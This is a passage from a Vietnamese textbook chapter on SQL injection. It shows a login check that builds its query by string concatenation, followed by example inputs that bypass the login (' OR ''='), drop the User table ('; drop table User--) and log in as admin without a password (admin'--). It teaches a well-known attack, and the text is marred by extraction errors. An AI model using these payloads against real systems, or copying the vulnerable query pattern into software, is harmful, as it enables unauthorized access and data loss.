Dưới đây là kĩ thuật SQL injection đơn giản nhất, dùng để vượt qua các form đăng nhập.
Ví
d ụ 6.III.1-1: giả sử ứng dụng web có đoạn mã sau:
SQLQuery= “SELECT tkUsername FROM User WHERE tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword & “’”
flag= GetQueryResult (SQLQuery) if flag = “” then
check=FALSE else
end if
check=TRUE
Đoạn mã trên kiểm tra chuỗi nhập Username và Password. Nếu tồn tại trong bảng User thì check=true ngược lại check=false.
Giá tri nhập vào là:
Username: ’ OR ‘’=’ Password: ’ OR ‘’=’
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
Câu lệnh SQL lúc này như sau:
SELECT tkUsername FROM User WHERE tkUsername= ‘’ OR ‘’=’‘ AND
Password= ‘’ OR ‘’=’’
Câu lệnh so sánh trên luôn ln đúng (vì ‘’ ln bằng ‘’). Do đó câu điều kiện trong mệnh đề WHERE luôn đúng. Giá trị tên người sử dụng của dòng đầu tiên trong bảng sẽ được chọn.
Kết hợp với kí tự đặc biệt của SQL :
• kí tự “ ; ” : đánh dấu kết thúc 1 câu truy vấn
• kí tự “--” : ẩn chuỗi kí tự phía sau nó trên cùng 1 dịng Ví d ụ 6.III.1-2:
Username: ’; drop table User-- Password:
Câu lệnh SQL lúc này như sau:
SELECT tkUsername FROM User WHERE tkUsername= ‘’;drop table
User-- AND Password= ‘” & tkPassword & “’”
Với câu lệnh trên thì bảng User sẽ bị xóa hồn tồn. Ví
d ụ 6.III.1-3: Một ví dụ khác sử dụng kí tự đặc biệt SQL để thâm nhập vào hệ thống như sau:
Username: admin’-- Password:
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
Câu lệnh SQL như sau:
SELECT tkUsername FROM User WHERE tkUsername= ‘admin’-- AND
Password= ‘” & tkPassword & “’”
Câu lệnh trên cho phép đăng nhập vào hệ thống với quyền admin mà khơng địi hỏi password.